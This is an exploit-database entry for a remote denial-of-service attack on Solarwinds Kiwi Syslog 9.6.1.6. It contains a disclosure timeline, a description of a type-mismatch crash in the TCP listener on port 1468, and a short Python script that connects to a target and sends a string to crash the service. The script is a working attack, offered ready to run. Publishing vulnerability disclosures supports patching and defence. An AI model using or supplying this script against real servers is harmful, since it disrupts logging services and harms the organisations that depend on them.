Solarwinds Kiwi Syslog 9.6.1.6 – Denial of Service

• Exploit Database
• 14 阅读

• 作者： Guillaume Kaddouch
  日期： 2017-08-01
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42411/

• # Exploit Title: Solarwinds Kiwi Syslog 9.6.1.6 - Remote Denial of Service (Type Mismatch)
  # Date: 26/05/2017
  # Exploit Author: Guillaume Kaddouch
  # Twitter: @gkweb76
  # Blog: https://networkfilter.blogspot.com
  # GitHub: https://github.com/gkweb76/exploits
  # Vendor Homepage: http://www.solarwinds.com/
  # Software Link: http://downloads.solarwinds.com/solarwinds/Release/Kiwi/Syslog/Kiwi-Syslog-Server-9.6.1-Eval.zip
  # Version: 9.6.1.6
  # Tested on: Windows 7 SP1 Family x64 (FR) and Windows 8.1 Pro x64
  # Category: DoS
  
  """
  Disclosure Timeline:
  --------------------
  2017-05-20: Vulnerability discovered
  2017-05-26: Vendor contacted
  2017-05-31: Vendor answered (technical support)
  2017-05-31: Vendor contacted (no answer)
  2017-08-01: Exploit published
  
  
  Description :
  -------------
  A remote Denial of Service exists in Kiwi Syslog 9.6.1.6 in the TCP listener.
  Apparently any data sent to it make it crash because of a Type Mismatch error.
  The syslog TCP listener is disabled by default.
  
  
  Instructions:
  -------------
  - Starts Kiwi Syslog, and enable the TCP listener in the settings, default port is 1468.
  - Run this exploit locally or from your remote attacking machine.
  """
  
  #!/usr/bin/python
  import socket
  
  host= "10.0.0.56"
  port= 1468
  
  buffer= "crash please?"
  
  try:
  print "[*] Connecting to %s:%d" % (host, port)
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  
  print "[*] Sending buffer... (%d bytes)" % len(buffer)
  s.send(buffer)
  s.close()
  
  print "[*] Done."
  except:
  print "[-] Error connecting"